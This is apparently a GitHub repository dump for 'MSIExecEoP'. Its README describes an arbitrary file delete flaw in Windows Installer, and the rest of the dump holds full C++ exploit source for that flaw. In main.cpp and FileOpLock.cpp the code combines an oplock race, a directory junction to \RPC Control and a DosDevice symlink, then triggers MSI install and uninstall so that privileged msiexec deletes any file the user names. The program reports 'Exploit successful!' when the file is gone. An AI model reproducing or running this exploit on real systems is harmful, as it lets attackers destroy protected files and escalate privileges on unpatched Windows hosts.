├── Project5
├── Project5.exe
├── Project5
│ ├── Resource.aps
│ ├── SetupProject1.msi
│ ├── Project5.vcxproj.user
│ ├── resource.h
│ ├── FileOpLock.h
│ ├── Resource.rc
│ ├── Project5.vcxproj.filters
│ ├── def.h
│ ├── FileOpLock.cpp
│ ├── Project5.vcxproj
│ └── main.cpp
└── Project5.sln
└── README.md
/Project5/Project5.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Wh04m1001/MSIExecEoP/HEAD/Project5/Project5.exe
--------------------------------------------------------------------------------
/Project5/Project5/Resource.aps:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Wh04m1001/MSIExecEoP/HEAD/Project5/Project5/Resource.aps
--------------------------------------------------------------------------------
/Project5/Project5/SetupProject1.msi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Wh04m1001/MSIExecEoP/HEAD/Project5/Project5/SetupProject1.msi
--------------------------------------------------------------------------------
/Project5/Project5/Project5.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Project5/Project5/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by Resource.rc
4 |
5 | #define IDR_MSI2 102
6 |
7 | // Next default values for new objects
8 | //
9 | #ifdef APSTUDIO_INVOKED
10 | #ifndef APSTUDIO_READONLY_SYMBOLS
11 | #define _APS_NEXT_RESOURCE_VALUE 103
12 | #define _APS_NEXT_COMMAND_VALUE 40001
13 | #define _APS_NEXT_CONTROL_VALUE 1001
14 | #define _APS_NEXT_SYMED_VALUE 101
15 | #endif
16 | #endif
17 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MSIExecEoP
2 | Arbitrary File Delete in Windows Installer before 10.0.19045.2193
3 |
4 | This bug was not reported to MSFT as i found it 3 days before patch Tuesday :(
5 |
6 |
7 | Msiexec perform file operation in user controlled directory without impersonation which leads to arbitrary file delete.
8 |
9 | Msiexec relies on restrictive DACL inside C:\users\\%username%\appdata\roaming\microsoft\installer directory which are set only to allow everyone group read access, but as user have DELETE privileges on parent directory installer directory can be moved and recreated with permissive DACL.
10 |
11 | 
12 |
--------------------------------------------------------------------------------
/Project5/Project5/FileOpLock.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | class FileOpLock
7 | {
8 | public:
9 | typedef void(*UserCallback)();
10 | static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb);
11 | static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb);
12 | void WaitForLock(UINT Timeout);
13 |
14 | ~FileOpLock();
15 | private:
16 |
17 | HANDLE g_hFile;
18 | OVERLAPPED g_o;
19 | REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
20 | REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
21 | HANDLE g_hLockCompleted;
22 | PTP_WAIT g_wait;
23 | UserCallback _cb;
24 |
25 | FileOpLock(UserCallback cb);
26 |
27 | static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
28 | PVOID Parameter, PTP_WAIT Wait,
29 | TP_WAIT_RESULT WaitResult);
30 | static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
31 | PVOID Parameter, PTP_WAIT Wait,
32 | TP_WAIT_RESULT WaitResult);
33 | void DoWaitCallback();
34 | void DoWaitCallbackt();
35 | bool BeginLock(HANDLE hfile);
36 | bool BeginLock(const std::wstring& name);
37 |
38 | };
39 |
40 |
41 |
--------------------------------------------------------------------------------
/Project5/Project5.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.3.32922.545
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Project5", "Project5\Project5.vcxproj", "{ED24053D-6891-44B7-A9EC-226EF3B9ADDD}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Debug|x64.ActiveCfg = Debug|x64
17 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Debug|x64.Build.0 = Debug|x64
18 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Debug|x86.ActiveCfg = Debug|Win32
19 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Debug|x86.Build.0 = Debug|Win32
20 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Release|x64.ActiveCfg = Release|x64
21 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Release|x64.Build.0 = Release|x64
22 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Release|x86.ActiveCfg = Release|Win32
23 | {ED24053D-6891-44B7-A9EC-226EF3B9ADDD}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {1D2F620D-805E-4B3D-A5DD-503A80FC0C8A}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/Project5/Project5/Resource.rc:
--------------------------------------------------------------------------------
1 | // Microsoft Visual C++ generated resource script.
2 | //
3 | #include "resource.h"
4 |
5 | #define APSTUDIO_READONLY_SYMBOLS
6 | /////////////////////////////////////////////////////////////////////////////
7 | //
8 | // Generated from the TEXTINCLUDE 2 resource.
9 | //
10 | #include "winres.h"
11 |
12 | /////////////////////////////////////////////////////////////////////////////
13 | #undef APSTUDIO_READONLY_SYMBOLS
14 |
15 | /////////////////////////////////////////////////////////////////////////////
16 | // English (United States) resources
17 |
18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
19 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
20 | #pragma code_page(1252)
21 |
22 | #ifdef APSTUDIO_INVOKED
23 | /////////////////////////////////////////////////////////////////////////////
24 | //
25 | // TEXTINCLUDE
26 | //
27 |
28 | 1 TEXTINCLUDE
29 | BEGIN
30 | "resource.h\0"
31 | END
32 |
33 | 2 TEXTINCLUDE
34 | BEGIN
35 | "#include ""winres.h""\r\n"
36 | "\0"
37 | END
38 |
39 | 3 TEXTINCLUDE
40 | BEGIN
41 | "\r\n"
42 | "\0"
43 | END
44 |
45 | #endif // APSTUDIO_INVOKED
46 |
47 |
48 | /////////////////////////////////////////////////////////////////////////////
49 | //
50 | // MSI
51 | //
52 |
53 | IDR_MSI2 MSI "SetupProject1.msi"
54 |
55 | #endif // English (United States) resources
56 | /////////////////////////////////////////////////////////////////////////////
57 |
58 |
59 |
60 | #ifndef APSTUDIO_INVOKED
61 | /////////////////////////////////////////////////////////////////////////////
62 | //
63 | // Generated from the TEXTINCLUDE 3 resource.
64 | //
65 |
66 |
67 | /////////////////////////////////////////////////////////////////////////////
68 | #endif // not APSTUDIO_INVOKED
69 |
70 |
--------------------------------------------------------------------------------
/Project5/Project5/Project5.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
26 |
27 |
28 | Resource Files
29 |
30 |
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files
40 |
41 |
42 |
43 |
44 | Resource Files
45 |
46 |
47 |
--------------------------------------------------------------------------------
/Project5/Project5/def.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include "resource.h"
7 | #pragma comment(lib,"Msi.lib")
8 | #pragma comment(lib,"RpcRT4.lib")
9 | #pragma warning(disable:4996)
10 | DWORD WINAPI install(BOOL remove);
11 | LPCWSTR RandomTmp();
12 | BOOL Move(HANDLE hFile);
13 | void cb0();
14 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target);
15 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target);
16 | BOOL DeleteJunction(HANDLE dir);
17 | BOOL CreateJunction(HANDLE hDir, LPCWSTR target);
18 | LPWSTR BuildPath(LPCWSTR path);
19 | HANDLE hFile, hDir;
20 |
21 | typedef struct _REPARSE_DATA_BUFFER {
22 | ULONG ReparseTag;
23 | USHORT ReparseDataLength;
24 | USHORT Reserved;
25 | union {
26 | struct {
27 | USHORT SubstituteNameOffset;
28 | USHORT SubstituteNameLength;
29 | USHORT PrintNameOffset;
30 | USHORT PrintNameLength;
31 | ULONG Flags;
32 | WCHAR PathBuffer[1];
33 | } SymbolicLinkReparseBuffer;
34 | struct {
35 | USHORT SubstituteNameOffset;
36 | USHORT SubstituteNameLength;
37 | USHORT PrintNameOffset;
38 | USHORT PrintNameLength;
39 | WCHAR PathBuffer[1];
40 | } MountPointReparseBuffer;
41 | struct {
42 | UCHAR DataBuffer[1];
43 | } GenericReparseBuffer;
44 | } DUMMYUNIONNAME;
45 | } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
46 | typedef struct _OBJECT_DIRECTORY_INFORMATION {
47 | UNICODE_STRING Name;
48 | UNICODE_STRING TypeName;
49 | } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
50 | #define STATUS_MORE_ENTRIES 0x00000105
51 | #define STATUS_NO_MORE_ENTRIES 0x8000001A
52 | #define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L)
53 |
54 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
55 | typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
56 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
57 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength);
58 | typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)(
59 | HANDLE FileHandle,
60 | PIO_STATUS_BLOCK IoStatusBlock,
61 | PVOID FileInformation,
62 | ULONG Length,
63 | ULONG FileInformationClass
64 | );
65 |
66 | _RtlInitUnicodeString pRtlInitUnicodeString;
67 | _NtCreateFile pNtCreateFile;
68 | _NtSetInformationFile pNtSetInformationFile;
69 | _NtQueryDirectoryObject pNtQueryDirectoryObject;
70 | _NtOpenDirectoryObject pNtOpenDirectoryObect;
--------------------------------------------------------------------------------
/Project5/Project5/FileOpLock.cpp:
--------------------------------------------------------------------------------
1 | #include "FileOpLock.h"
2 | #include
3 |
4 |
5 |
6 | FileOpLock::FileOpLock(UserCallback cb) :
7 | g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb)
8 | {
9 | g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
10 | g_inputBuffer.StructureLength = sizeof(g_inputBuffer);
11 | g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
12 | g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
13 | g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
14 | g_outputBuffer.StructureLength = sizeof(g_outputBuffer);
15 | }
16 |
17 |
18 | FileOpLock::~FileOpLock()
19 | {
20 | if (g_wait)
21 | {
22 | SetThreadpoolWait(g_wait, nullptr, nullptr);
23 | CloseThreadpoolWait(g_wait);
24 | g_wait = nullptr;
25 | }
26 |
27 | if (g_o.hEvent)
28 | {
29 | CloseHandle(g_o.hEvent);
30 | g_o.hEvent = nullptr;
31 | }
32 |
33 | if (g_hFile != INVALID_HANDLE_VALUE)
34 | {
35 | CloseHandle(g_hFile);
36 | g_hFile = INVALID_HANDLE_VALUE;
37 | }
38 | }
39 | bool FileOpLock::BeginLock(const std::wstring& filename)
40 | {
41 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
42 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
43 |
44 |
45 |
46 | g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,
47 | 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0);
48 | if (g_hFile == INVALID_HANDLE_VALUE) {
49 |
50 | return false;
51 | }
52 |
53 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
54 | if (g_wait == nullptr)
55 | {
56 |
57 | return false;
58 | }
59 |
60 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
61 |
62 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
63 | &g_inputBuffer, sizeof(g_inputBuffer),
64 | &g_outputBuffer, sizeof(g_outputBuffer),
65 | nullptr, &g_o);
66 | if (GetLastError() != ERROR_IO_PENDING) {
67 |
68 | return false;
69 | }
70 |
71 | return true;
72 | }
73 | bool FileOpLock::BeginLock(HANDLE hfile)
74 | {
75 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
76 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
77 |
78 |
79 |
80 | g_hFile = hfile;
81 | if (g_hFile == INVALID_HANDLE_VALUE) {
82 |
83 | return false;
84 | }
85 |
86 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
87 | if (g_wait == nullptr)
88 | {
89 |
90 | return false;
91 | }
92 |
93 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
94 | DWORD bytesReturned;
95 |
96 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
97 | &g_inputBuffer, sizeof(g_inputBuffer),
98 | &g_outputBuffer, sizeof(g_outputBuffer),
99 | nullptr, &g_o);
100 | /*DeviceIoControl(g_hFile,
101 | FSCTL_REQUEST_OPLOCK_LEVEL_1,
102 | NULL, 0,
103 | NULL, 0,
104 | &bytesReturned,
105 | &g_o);*/
106 | if (GetLastError() != ERROR_IO_PENDING) {
107 |
108 | return false;
109 | }
110 |
111 | return true;
112 | }
113 | FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb)
114 | {
115 | FileOpLock* ret = new FileOpLock(cb);
116 |
117 | if (ret->BeginLock(name))
118 | {
119 | return ret;
120 | }
121 | else
122 | {
123 | delete ret;
124 | return nullptr;
125 | }
126 | }
127 | FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb)
128 | {
129 | FileOpLock* ret = new FileOpLock(cb);
130 |
131 | if (ret->BeginLock(hfile))
132 | {
133 | return ret;
134 | }
135 | else
136 | {
137 | delete ret;
138 | return nullptr;
139 | }
140 | }
141 | void FileOpLock::WaitForLock(UINT Timeout)
142 | {
143 | WaitForSingleObject(g_hLockCompleted, Timeout);
144 | }
145 |
146 | void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance,
147 | PVOID Parameter, PTP_WAIT Wait,
148 | TP_WAIT_RESULT WaitResult)
149 | {
150 | UNREFERENCED_PARAMETER(Instance);
151 | UNREFERENCED_PARAMETER(Wait);
152 | UNREFERENCED_PARAMETER(WaitResult);
153 |
154 | FileOpLock* lock = reinterpret_cast(Parameter);
155 |
156 | lock->DoWaitCallback();
157 | }
158 | void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
159 | PVOID Parameter, PTP_WAIT Wait,
160 | TP_WAIT_RESULT WaitResult)
161 | {
162 | UNREFERENCED_PARAMETER(Instance);
163 | UNREFERENCED_PARAMETER(Wait);
164 | UNREFERENCED_PARAMETER(WaitResult);
165 |
166 | FileOpLock* lock = reinterpret_cast(Parameter);
167 |
168 | lock->DoWaitCallbackt();
169 | }
170 | void FileOpLock::DoWaitCallbackt()
171 | {
172 | DWORD dwBytes;
173 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {
174 |
175 | }
176 |
177 | if (_cb)
178 | {
179 | _cb();
180 | }
181 | g_hFile = INVALID_HANDLE_VALUE;
182 | SetEvent(g_hLockCompleted);
183 | }
184 | void FileOpLock::DoWaitCallback()
185 | {
186 | DWORD dwBytes;
187 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {
188 |
189 | }
190 |
191 | if (_cb)
192 | {
193 | _cb();
194 | }
195 |
196 |
197 | CloseHandle(g_hFile);
198 | g_hFile = INVALID_HANDLE_VALUE;
199 | SetEvent(g_hLockCompleted);
200 | }
201 |
--------------------------------------------------------------------------------
/Project5/Project5/Project5.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {ed24053d-6891-44b7-a9ec-226ef3b9addd}
25 | Project5
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 | MultiThreaded
122 |
123 |
124 | Console
125 | true
126 | true
127 | true
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
--------------------------------------------------------------------------------
/Project5/Project5/main.cpp:
--------------------------------------------------------------------------------
1 | #include "def.h"
2 | #include "FileOpLock.h"
3 | int wmain(int argc, wchar_t** argv) {
4 |
5 | if (argc < 2) {
6 | printf("[*] Usage: %ls \n", argv[0]);
7 | return 1;
8 | }
9 | install(TRUE);
10 | Sleep(500);
11 | std::wstring dir = L"C:\\users\\";
12 | WCHAR user[MAX_PATH] = {0x0};
13 | DWORD cbUser = MAX_PATH;
14 | GetUserName(user, &cbUser);
15 | dir = dir + std::wstring(user) + L"\\AppData\\Roaming\\Microsoft\\Installer";
16 | MoveFileEx(dir.c_str(),RandomTmp(), MOVEFILE_REPLACE_EXISTING);
17 | CreateDirectory(dir.c_str(), NULL);
18 | dir = dir + L"\\{31566FE1-6713-4FC2-A132-EB4C9D111012}";
19 | CreateDirectory(dir.c_str(), NULL);
20 | std::wstring file = dir + L"\\icon.ico";
21 | DosDeviceSymLink(L"Global\\GLOBALROOT\\RPC Control\\icon.ico", BuildPath(argv[1]));
22 |
23 | hDir = CreateFile(dir.c_str(), FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
24 | hFile = CreateFile(file.c_str(), DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, NULL);
25 | FileOpLock* op;
26 | op = FileOpLock::CreateLock(hFile, cb0);
27 | if (op != NULL) {
28 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)install, NULL, 0, NULL);
29 | op->WaitForLock(INFINITE);
30 | }
31 | HANDLE success;
32 |
33 | do {
34 | Sleep(1000);
35 | success = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
36 | }while (success != INVALID_HANDLE_VALUE);
37 | printf("[+] Exploit successful!\n");
38 | }
39 | DWORD WINAPI install(BOOL install) {
40 | HMODULE hm = GetModuleHandle(NULL);
41 | HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI2), L"msi");
42 | wchar_t msipackage[MAX_PATH] = { 0x0 };
43 | GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage);
44 | printf("[*] MSI file: %ls\n", msipackage);
45 | DWORD MsiSize = SizeofResource(hm, res);
46 | void* MsiBuff = LoadResource(hm, res);
47 | HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
48 | WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);
49 | CloseHandle(pkg);
50 | MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
51 | if (install) {
52 | MsiInstallProduct(msipackage, L"ACTION=INSTALL");
53 | }
54 | else {
55 | MsiInstallProduct(msipackage, L"REMOVE=ALL");
56 | }
57 |
58 | DeleteFile(msipackage);
59 | return 0;
60 | }
61 | LPCWSTR RandomTmp() {
62 | std::wstring tmp = L"\\??\\C:\\windows\\temp\\";
63 | RPC_WSTR str_uuid;
64 | UUID uuid = { 0 };
65 | UuidCreate(&uuid);
66 | UuidToString(&uuid, &str_uuid);
67 | tmp = tmp + std::wstring((WCHAR*)str_uuid);
68 | return tmp.c_str();
69 | }
70 | BOOL CreateJunction(HANDLE hDir, LPCWSTR target) {
71 | DWORD cb;
72 | wchar_t printname[] = L"";
73 | if (hDir == INVALID_HANDLE_VALUE) {
74 | printf("[!] HANDLE invalid!\n");
75 | return FALSE;
76 | }
77 | SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
78 | SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
79 | SIZE_T PathLen = TargetLen + PrintnameLen + 12;
80 | SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer));
81 | PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
82 | Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
83 | Data->ReparseDataLength = PathLen;
84 | Data->Reserved = 0;
85 | Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
86 | Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
87 | memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
88 | Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
89 | Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
90 | memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2);
91 | WCHAR dir[MAX_PATH] = { 0x0 };
92 | if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0)
93 | {
94 |
95 | GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0);
96 | printf("[+] Junction %ls -> %ls created!\n", dir, target);
97 | free(Data);
98 | return TRUE;
99 |
100 | }
101 | else
102 | {
103 |
104 | printf("[!] Error: %d. Exiting\n", GetLastError());
105 | free(Data);
106 | return FALSE;
107 | }
108 | }
109 |
110 |
111 |
112 |
113 |
114 | BOOL DeleteJunction(HANDLE handle) {
115 | REPARSE_GUID_DATA_BUFFER buffer = { 0 };
116 | BOOL ret;
117 | buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
118 | DWORD cb = 0;
119 | IO_STATUS_BLOCK io;
120 | if (handle == INVALID_HANDLE_VALUE) {
121 | printf("[!] HANDLE invalid!\n");
122 | return FALSE;
123 | }
124 | WCHAR dir[MAX_PATH] = { 0x0 };
125 | if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) {
126 | GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0);
127 | printf("[+] Junction %ls deleted!\n", dir);
128 | return TRUE;
129 | }
130 | else
131 | {
132 | printf("[!] Error: %d.\n", GetLastError());
133 | return FALSE;
134 | }
135 | }
136 |
137 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
138 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
139 | printf("[+] Symlink %ls -> %ls created!\n", object, target);
140 | return TRUE;
141 |
142 | }
143 | else
144 | {
145 | printf("[!] Error :%d\n", GetLastError());
146 | return FALSE;
147 |
148 | }
149 | }
150 |
151 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
152 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
153 | printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
154 | return TRUE;
155 |
156 | }
157 | else
158 | {
159 | printf("[!] Error :%d\n", GetLastError());
160 | return FALSE;
161 |
162 |
163 | }
164 | }
165 | BOOL Move(HANDLE hFile) {
166 | if (hFile == INVALID_HANDLE_VALUE) {
167 | printf("[!] Invalid handle!\n");
168 | return FALSE;
169 | }
170 | HMODULE ntdll = LoadLibraryW(L"ntdll.dll");
171 | if (ntdll != NULL) {
172 |
173 | pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");
174 | }
175 | if (pNtSetInformationFile == NULL) {
176 | printf("Cannot load api %d\n", GetLastError());
177 | exit(0);
178 | }
179 | LPCWSTR tmpfile = RandomTmp();
180 | size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t));
181 | FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz);
182 | IO_STATUS_BLOCK io = { 0 };
183 | rename_info->ReplaceIfExists = TRUE;
184 | rename_info->RootDirectory = NULL;
185 | rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
186 | rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
187 | memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t));
188 | NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65);
189 | if (status != 0) {
190 | return FALSE;
191 | }
192 | return TRUE;
193 | }
194 | void cb0() {
195 | printf("[*] Oplock trigger!\n");
196 | while (!Move(hFile)) {}
197 | CreateJunction(hDir, L"\\RPC Control");
198 | }
199 | LPWSTR BuildPath(LPCWSTR path) {
200 | wchar_t ntpath[MAX_PATH];
201 | swprintf(ntpath, L"\\??\\%s", path);
202 | return ntpath;
203 | }
204 |
--------------------------------------------------------------------------------